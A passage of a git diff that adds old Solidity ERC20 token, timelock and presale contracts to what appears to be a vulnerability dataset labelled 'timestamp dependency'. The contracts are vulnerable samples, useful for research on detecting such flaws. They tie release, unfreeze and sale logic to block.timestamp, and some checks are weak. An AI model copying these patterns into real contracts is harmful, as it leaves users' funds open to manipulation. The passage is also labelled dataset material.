year) internal pure returns (bool) { + if (year % 4 != 0) { + return false; + } + if (year % 100 != 0) { + return true; + } + if (year % 400 != 0) { + return false; + } + return true; + } + function leapYearsBefore(uint year) internal pure returns (uint) { + year -= 1; + return year / 4 - year / 100 + year / 400; + } + function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) { + if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { + return 31; + } + else if (month == 4 || month == 6 || month == 9 || month == 11) { + return 30; + } + else if (isLeapYear(year)) { + return 29; + } + else { + return 28; + } + } + function parseTimestamp(uint timestamp) internal pure returns (MyDateTime dt) { + uint secondsAccountedFor = 0; + uint buf; + uint8 i; + + dt.year = getYear(timestamp); + buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); + secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; + secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); + + uint secondsInMonth; + for (i = 1; i <= 12; i++) { + secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); + if (secondsInMonth + secondsAccountedFor > timestamp) { + dt.month = i; + break; + } + secondsAccountedFor += secondsInMonth; + } + + for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { + if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { + dt.day = i; + break; + } + secondsAccountedFor += DAY_IN_SECONDS; + } + + dt.hour = 0; + + dt.minute = 0; + + dt.second = 0; + + dt.weekday = 0; + } + function getYear(uint timestamp) internal pure returns (uint16) { + uint secondsAccountedFor = 0; + uint16 year; + uint numLeapYears; + + year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); + numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); + secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; + secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); + while (secondsAccountedFor > timestamp) { + if (isLeapYear(uint16(year - 1))) { + secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; + } + else { + secondsAccountedFor -= YEAR_IN_SECONDS; + } + year -= 1; + } + return year; + } + function getMonth(uint timestamp) internal pure returns (uint8) { + return parseTimestamp(timestamp).month; + } + function getDay(uint timestamp) internal pure returns (uint8) { + return parseTimestamp(timestamp).day; + } + function getHour(uint timestamp) internal pure returns (uint8) { + return uint8((timestamp / 60 / 60) % 24); + } + function getMinute(uint timestamp) internal pure returns (uint8) { + return uint8((timestamp / 60) % 60); + } + function getSecond(uint timestamp) internal pure returns (uint8) { + return uint8(timestamp % 60); + } + function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) { + return toTimestamp(year, month, day, 0, 0, 0); + } + function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) { + uint16 i; + + for (i = ORIGIN_YEAR; i < year; i++) { + if (isLeapYear(i)) { + timestamp += LEAP_YEAR_IN_SECONDS; + } + else { + timestamp += YEAR_IN_SECONDS; + } + } + + uint8[12] memory monthDayCounts; + monthDayCounts[0] = 31; + if (isLeapYear(year)) { + monthDayCounts[1] = 29; + } + else { + monthDayCounts[1] = 28; + } + monthDayCounts[2] = 31; + monthDayCounts[3] = 30; + monthDayCounts[4] = 31; + monthDayCounts[5] = 30; + monthDayCounts[6] = 31; + monthDayCounts[7] = 31; + monthDayCounts[8] = 30; + monthDayCounts[9] = 31; + monthDayCounts[10] = 30; + monthDayCounts[11] = 31; + for (i = 1; i < month; i++) { + timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; + } + + timestamp += DAY_IN_SECONDS * (day - 1); + + timestamp += HOUR_IN_SECONDS * (hour); + + timestamp += MINUTE_IN_SECONDS * (minute); + + timestamp += second; + return timestamp; + } +} + +contract Ownable { + address public owner; + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + function Ownable() public { + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +library SafeMath { + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + mapping(address => uint256) balances; + uint256 totalSupply_; + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +contract StandardToken is ERC20, BasicToken { + mapping (address => mapping (address => uint256)) internal allowed; + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } +} + +contract ReentrancyGuard { + + bool private reentrancyLock = false; + + modifier nonReentrant() { + require(!reentrancyLock); + reentrancyLock = true; + _; + reentrancyLock = false; + } +} + +contract StandardBurnableToken is StandardToken { + event Burn(address indexed burner, uint256 value); + + function burn(uint256 _value) public returns (bool) { + require(_value <= balances[msg.sender]); + + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(burner, _value); + return true; + } +} +contract Operational is Claimable { + address public operator; + function Operational(address _operator) public { + operator = _operator; + } + modifier onlyOperator() { + require(msg.sender == operator); + _; + } + function transferOperator(address newOperator) public onlyOwner { + require(newOperator != address(0)); + operator = newOperator; + } +} +contract Frozenable is Operational, StandardBurnableToken, ReentrancyGuard { + using DateTime for uint256; + struct FrozenRecord { + uint256 value; + uint256 unfreezeIndex; + } + uint256 public frozenBalance; + mapping (uint256 => FrozenRecord) public frozenRecords; + uint256 mulDecimals = 100000000; + event SystemFreeze(address indexed owner, uint256 value, uint256 unfreezeIndex); + event Unfreeze(address indexed owner, uint256 value, uint256 unfreezeTime); + function Frozenable(address _operator) Operational(_operator) public {} + + function systemFreeze(uint256 _value, uint256 _unfreezeTime) internal { + uint256 unfreezeIndex = uint256(_unfreezeTime.parseTimestamp().year) * 10000 + uint256(_unfreezeTime.parseTimestamp().month) * 100 + uint256(_unfreezeTime.parseTimestamp().day); + balances[owner] = balances[owner].sub(_value); + frozenRecords[unfreezeIndex] = FrozenRecord({value: _value, unfreezeIndex: unfreezeIndex}); + frozenBalance = frozenBalance.add(_value); + emit SystemFreeze(owner, _value, _unfreezeTime); + } + + + function unfreeze(uint256 timestamp) public returns (uint256 unfreezeAmount) { + require(timestamp <= block.timestamp); + uint256 unfreezeIndex = uint256(timestamp.parseTimestamp().year) * 10000 + uint256(timestamp.parseTimestamp().month) * 100 + uint256(timestamp.parseTimestamp().day); + frozenBalance = frozenBalance.sub(frozenRecords[unfreezeIndex].value); + balances[owner] = balances[owner].add(frozenRecords[unfreezeIndex].value); + unfreezeAmount = frozenRecords[unfreezeIndex].value; + emit Unfreeze(owner, unfreezeAmount, timestamp); + frozenRecords[unfreezeIndex].value = 0; + return unfreezeAmount; + } +} +contract Releaseable is Frozenable { + using SafeMath for uint; + uint256 public createTime; + uint256 public standardReleaseAmount = mulDecimals.mul(512000); + uint256 public releaseAmountPerDay = mulDecimals.mul(512000); + uint256 public releasedSupply = 0; + event Release(address indexed receiver, uint256 value, uint256 sysAmount, uint256 releaseTime); + struct ReleaseRecord { + uint256 amount; + uint256 releaseIndex; + } + mapping (uint256 => ReleaseRecord) public releaseRecords; + function Releaseable( + address _operator, uint256 _initialSupply + ) Frozenable(_operator) public { + createTime = 1528732800; + releasedSupply = _initialSupply; + balances[owner] = _initialSupply; + totalSupply_ = mulDecimals.mul(187140000); + } + function release(uint256 timestamp, uint256 sysAmount) public onlyOperator returns(uint256 _actualRelease) { + require(timestamp >= createTime && timestamp <= block.timestamp); + require(!checkIsReleaseRecordExist(timestamp)); + updateReleaseAmount(timestamp); + require(sysAmount <= releaseAmountPerDay.mul(4).div(5)); + require(totalSupply_ >= releasedSupply.add(releaseAmountPerDay)); + balances[owner] = balances[owner].add(releaseAmountPerDay); + releasedSupply = releasedSupply.add(releaseAmountPerDay); + uint256 _releaseIndex = uint256(timestamp.parseTimestamp().year) * 10000 + uint256(timestamp.parseTimestamp().month) * 100 + uint256(timestamp.parseTimestamp().day); + releaseRecords[_releaseIndex] = ReleaseRecord(releaseAmountPerDay, _releaseIndex); + emit Release(owner, releaseAmountPerDay, sysAmount, timestamp); + systemFreeze(sysAmount.div(5), timestamp.add(180 days)); + systemFreeze(sysAmount.mul(6).div(10), timestamp.add(200 years)); + return releaseAmountPerDay; + } + + + function checkIsReleaseRecordExist(uint256 timestamp) internal view returns(bool _exist) { + bool exist = false; + uint256 releaseIndex = uint256(timestamp.parseTimestamp().year) * 10000 + uint256(timestamp.parseTimestamp().month) * 100 + uint256(timestamp.parseTimestamp().day); + if (releaseRecords[releaseIndex].releaseIndex == releaseIndex){ + exist = true; + } + return exist; + } + + + function updateReleaseAmount(uint256 timestamp) internal { + uint256 timeElapse = timestamp.sub(createTime); + uint256 cycles = timeElapse.div(180 days); + if (cycles > 0) { + if (cycles <= 10) { + releaseAmountPerDay = standardReleaseAmount; + for (uint index = 0; index < cycles; index++) { + releaseAmountPerDay = releaseAmountPerDay.div(2); + } + } else { + releaseAmountPerDay = 0; + } + } + } +} +contract CoinCool is Releaseable { + string public standard = '2018061200'; + string public name = 'CoolToken'; + string public symbol = 'CT'; + uint8 public decimals = 8; + function CoinCool() Releaseable(0x4068D7c2e286Cb1E72Cef90B74C823E990FaB9C2, mulDecimals.mul(3000000)) public {} +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10798.sol b/smart_contract_dataset/timestamp dependency/10798.sol new file mode 100644 index 0000000000000000000000000000000000000000..ae27c27f780e83ab16d3a3dcf2d8fae5ef4cff31 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10798.sol @@ -0,0 +1,434 @@ +pragma solidity 0.4.23; + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } +} + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + assert(token.transfer(to, value)); + } + + function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { + assert(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + assert(token.approve(spender, value)); + } +} + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint64 public releaseTime; + + constructor(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public { + require(_releaseTime > uint64(block.timestamp)); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + require(uint64(block.timestamp) >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + +contract Owned { + address public owner; + + constructor() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } +} + +contract ReferralDiscountToken is StandardToken, Owned { + + mapping(address => address) referrerOf; + address[] ownersIndex; + + + event Referral(address indexed referred, address indexed referrer); + + + function referralDiscountPercentage(address _owner) public view returns (uint256 percent) { + uint256 total = 0; + + + if(referrerOf[_owner] != address(0)) { + total = total.add(10); + } + + + for(uint256 i = 0; i < ownersIndex.length; i++) { + if(referrerOf[ownersIndex[i]] == _owner) { + total = total.add(10); + + } + } + + return total; + } + + + + + + + + + + + + + + + + + + + + + + + function setReferrer(address _referred, address _referrer) onlyOwner public returns (bool success) { + require(_referrer != address(0)); + require(_referrer != address(_referred)); + + + require(referrerOf[_referred] == address(0)); + + ownersIndex.push(_referred); + referrerOf[_referred] = _referrer; + + emit Referral(_referred, _referrer); + return true; + } +} + +contract NaorisToken is ReferralDiscountToken { + string public constant name = "NaorisToken"; + string public constant symbol = "NAO"; + uint256 public constant decimals = 18; + + + address public saleTeamAddress; + + + address public referalAirdropsTokensAddress; + + + address public reserveFundAddress; + + + address public thinkTankFundAddress; + + + address public lockedBoardBonusAddress; + + + address public treasuryTimelockAddress; + + + bool public tokenSaleClosed = false; + + + uint64 date01May2019 = 1556668800; + + + uint256 public constant TOKENS_HARD_CAP = 400000000 * 10 ** decimals; + + + uint256 public constant TOKENS_SALE_HARD_CAP = 300000000 * 10 ** decimals; + + + uint256 public constant REFERRAL_TOKENS = 10000000 * 10 ** decimals; + + + uint256 public constant AIRDROP_TOKENS = 10000000 * 10 ** decimals; + + + uint256 public constant THINK_TANK_FUND_TOKENS = 40000000 * 10 ** decimals; + + + uint256 public constant NAORIS_TEAM_TOKENS = 20000000 * 10 ** decimals; + + + uint256 public constant LOCKED_BOARD_BONUS_TOKENS = 20000000 * 10 ** decimals; + + + modifier onlyTeam { + assert(msg.sender == saleTeamAddress || msg.sender == owner); + _; + } + + + modifier beforeEnd { + assert(!tokenSaleClosed); + _; + } + + constructor(address _saleTeamAddress, address _referalAirdropsTokensAddress, address _reserveFundAddress, + address _thinkTankFundAddress, address _lockedBoardBonusAddress) public { + require(_saleTeamAddress != address(0)); + require(_referalAirdropsTokensAddress != address(0)); + require(_reserveFundAddress != address(0)); + require(_thinkTankFundAddress != address(0)); + require(_lockedBoardBonusAddress != address(0)); + + saleTeamAddress = _saleTeamAddress; + referalAirdropsTokensAddress = _referalAirdropsTokensAddress; + reserveFundAddress = _reserveFundAddress; + thinkTankFundAddress = _thinkTankFundAddress; + lockedBoardBonusAddress = _lockedBoardBonusAddress; + + + balances[saleTeamAddress] = TOKENS_SALE_HARD_CAP; + totalSupply_ = TOKENS_SALE_HARD_CAP; + emit Transfer(0x0, saleTeamAddress, TOKENS_SALE_HARD_CAP); + + + + balances[referalAirdropsTokensAddress] = REFERRAL_TOKENS; + totalSupply_ = totalSupply_.add(REFERRAL_TOKENS); + emit Transfer(0x0, referalAirdropsTokensAddress, REFERRAL_TOKENS); + + balances[referalAirdropsTokensAddress] = balances[referalAirdropsTokensAddress].add(AIRDROP_TOKENS); + totalSupply_ = totalSupply_.add(AIRDROP_TOKENS); + emit Transfer(0x0, referalAirdropsTokensAddress, AIRDROP_TOKENS); + } + + function close() public onlyTeam beforeEnd { + + uint256 unsoldSaleTokens = balances[saleTeamAddress]; + if(unsoldSaleTokens > 0) { + balances[saleTeamAddress] = 0; + totalSupply_ = totalSupply_.sub(unsoldSaleTokens); + emit Transfer(saleTeamAddress, 0x0, unsoldSaleTokens); + } + + + uint256 unspentReferalAirdropTokens = balances[referalAirdropsTokensAddress]; + if(unspentReferalAirdropTokens > 0) { + balances[referalAirdropsTokensAddress] = 0; + balances[reserveFundAddress] = balances[reserveFundAddress].add(unspentReferalAirdropTokens); + emit Transfer(referalAirdropsTokensAddress, reserveFundAddress, unspentReferalAirdropTokens); + } + + + balances[thinkTankFundAddress] = balances[thinkTankFundAddress].add(THINK_TANK_FUND_TOKENS); + totalSupply_ = totalSupply_.add(THINK_TANK_FUND_TOKENS); + emit Transfer(0x0, thinkTankFundAddress, THINK_TANK_FUND_TOKENS); + + + balances[owner] = balances[owner].add(NAORIS_TEAM_TOKENS); + totalSupply_ = totalSupply_.add(NAORIS_TEAM_TOKENS); + emit Transfer(0x0, owner, NAORIS_TEAM_TOKENS); + + + TokenTimelock lockedTreasuryTokens = new TokenTimelock(this, lockedBoardBonusAddress, date01May2019); + treasuryTimelockAddress = address(lockedTreasuryTokens); + balances[treasuryTimelockAddress] = balances[treasuryTimelockAddress].add(LOCKED_BOARD_BONUS_TOKENS); + totalSupply_ = totalSupply_.add(LOCKED_BOARD_BONUS_TOKENS); + emit Transfer(0x0, treasuryTimelockAddress, LOCKED_BOARD_BONUS_TOKENS); + + require(totalSupply_ <= TOKENS_HARD_CAP); + + tokenSaleClosed = true; + } + + function tokenDiscountPercentage(address _owner) public view returns (uint256 percent) { + if(balanceOf(_owner) >= 1000000 * 10**decimals) { + return 50; + } else if(balanceOf(_owner) >= 500000 * 10**decimals) { + return 30; + } else if(balanceOf(_owner) >= 250000 * 10**decimals) { + return 25; + } else if(balanceOf(_owner) >= 100000 * 10**decimals) { + return 20; + } else if(balanceOf(_owner) >= 50000 * 10**decimals) { + return 15; + } else if(balanceOf(_owner) >= 10000 * 10**decimals) { + return 10; + } else if(balanceOf(_owner) >= 1000 * 10**decimals) { + return 5; + } else { + return 0; + } + } + + function getTotalDiscount(address _owner) public view returns (uint256 percent) { + uint256 total = 0; + + total += tokenDiscountPercentage(_owner); + total += referralDiscountPercentage(_owner); + + return (total > 60) ? 60 : total; + } + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + if(tokenSaleClosed) { + return super.transferFrom(_from, _to, _value); + } + return false; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + if(tokenSaleClosed || msg.sender == referalAirdropsTokensAddress + || msg.sender == saleTeamAddress) { + return super.transfer(_to, _value); + } + return false; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10803.sol b/smart_contract_dataset/timestamp dependency/10803.sol new file mode 100644 index 0000000000000000000000000000000000000000..d2f5a6a56c8e1362742b75ec39ee66157b13b173 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10803.sol @@ -0,0 +1,565 @@ +pragma solidity ^0.4.11; + + +contract Ownable { + address public owner; + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } + +} + + +contract Haltable is Ownable { + bool public halted = false; + + modifier inNormalState { + require(!halted); + _; + } + + modifier inEmergencyState { + require(halted); + _; + } + + + function halt() external onlyOwner inNormalState { + halted = true; + } + + + function unhalt() external onlyOwner inEmergencyState { + halted = false; + } +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) constant returns (uint256); + function transfer(address to, uint256 value) returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) returns (bool) { + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) constant returns (uint256); + function transferFrom(address from, address to, uint256 value) returns (bool); + function approve(address spender, uint256 value) returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool) { + var _allowance = allowed[_from][msg.sender]; + + + + + balances[_to] = balances[_to].add(_value); + balances[_from] = balances[_from].sub(_value); + allowed[_from][msg.sender] = _allowance.sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) returns (bool) { + + + + + + require((_value == 0) || (allowed[msg.sender][_spender] == 0)); + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + +} + + +contract Burnable is StandardToken { + using SafeMath for uint; + + + event Burn(address indexed from, uint value); + + function burn(uint _value) returns (bool success) { + require(_value > 0 && balances[msg.sender] >= _value); + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply = totalSupply.sub(_value); + Burn(msg.sender, _value); + return true; + } + + function burnFrom(address _from, uint _value) returns (bool success) { + require(_from != 0x0 && _value > 0 && balances[_from] >= _value); + require(_value <= allowed[_from][msg.sender]); + balances[_from] = balances[_from].sub(_value); + totalSupply = totalSupply.sub(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Burn(_from, _value); + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + require(_to != 0x0); + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + require(_to != 0x0); + + return super.transferFrom(_from, _to, _value); + } +} + + + +contract ERC223ReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data); +} + + +contract AnythingAppToken is Burnable, Ownable { + + string public constant name = "AnyCoin"; + string public constant symbol = "ANY"; + uint8 public constant decimals = 18; + uint public constant INITIAL_SUPPLY = 400000000 * 1 ether; + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + require(released || transferAgents[_sender]); + _; + } + + + modifier inReleaseState(bool releaseState) { + require(releaseState == released); + _; + } + + + modifier onlyReleaseAgent() { + require(msg.sender == releaseAgent); + _; + } + + + + function AnythingAppToken() { + totalSupply = INITIAL_SUPPLY; + balances[msg.sender] = INITIAL_SUPPLY; + Transfer(0x0, msg.sender, INITIAL_SUPPLY); + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + require(addr != 0x0); + + + releaseAgent = addr; + } + + function release() onlyReleaseAgent inReleaseState(false) public { + released = true; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + require(addr != 0x0); + transferAgents[addr] = state; + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + + + + function transfer(address _to, uint _value, bytes _data) canTransfer(msg.sender) returns (bool success) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + uint codeLength; + assembly { + codeLength := extcodesize(_to) + } + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength>0) { + ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + Transfer(msg.sender, _to, _value); + return true; + } + + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + uint codeLength; + bytes memory empty; + + assembly { + codeLength := extcodesize(_to) + } + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength>0) { + ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); + receiver.tokenFallback(msg.sender, _value, empty); + } + Transfer(msg.sender, _to, _value); + return true; + } + + function burn(uint _value) onlyOwner returns (bool success) { + return super.burn(_value); + } + + function burnFrom(address _from, uint _value) onlyOwner returns (bool success) { + return super.burnFrom(_from, _value); + } +} + +contract InvestorWhiteList is Ownable { + mapping (address => bool) public investorWhiteList; + + mapping (address => address) public referralList; + + function InvestorWhiteList() { + + } + + function addInvestorToWhiteList(address investor) external onlyOwner { + require(investor != 0x0 && !investorWhiteList[investor]); + investorWhiteList[investor] = true; + } + + function removeInvestorFromWhiteList(address investor) external onlyOwner { + require(investor != 0x0 && investorWhiteList[investor]); + investorWhiteList[investor] = false; + } + + + function addReferralOf(address investor, address referral) external onlyOwner { + require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral); + referralList[investor] = referral; + } + + function isAllowed(address investor) constant external returns (bool result) { + return investorWhiteList[investor]; + } + + function getReferralOf(address investor) constant external returns (address result) { + return referralList[investor]; + } +} + +contract PriceReceiver { + address public ethPriceProvider; + + modifier onlyEthPriceProvider() { + require(msg.sender == ethPriceProvider); + _; + } + + function receiveEthPrice(uint ethUsdPrice) external; + + function setEthPriceProvider(address provider) external; +} + +contract AnythingAppTokenPreSale is Haltable, PriceReceiver { + using SafeMath for uint; + + string public constant name = "AnythingAppTokenPreSale"; + + AnythingAppToken public token; + InvestorWhiteList public investorWhiteList; + address public beneficiary; + + uint public tokenPriceUsd; + uint public totalTokens; + + uint public ethUsdRate; + + uint public collected = 0; + uint public withdrawn = 0; + uint public tokensSold = 0; + uint public investorCount = 0; + uint public weiRefunded = 0; + + uint public startTime; + uint public endTime; + + bool public crowdsaleFinished = false; + + mapping (address => bool) public refunded; + mapping (address => uint) public deposited; + + uint public constant BONUS_LEVEL_1 = 40; + uint public constant BONUS_LEVEL_2 = 35; + uint public constant BONUS_LEVEL_3 = 30; + + uint public firstStage; + uint public secondStage; + uint public thirdStage; + + uint public constant MINIMAL_PURCHASE = 250 ether; + uint public constant LIMIT_PER_USER = 500000 ether; + + event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount); + event NewReferralTransfer(address indexed investor, address indexed referral, uint tokenAmount); + event Refunded(address indexed holder, uint amount); + event Deposited(address indexed holder, uint amount); + + modifier preSaleActive() { + require(block.timestamp >= startTime && block.timestamp < endTime); + _; + } + + modifier preSaleEnded() { + require(block.timestamp >= endTime); + _; + } + + modifier inWhiteList() { + 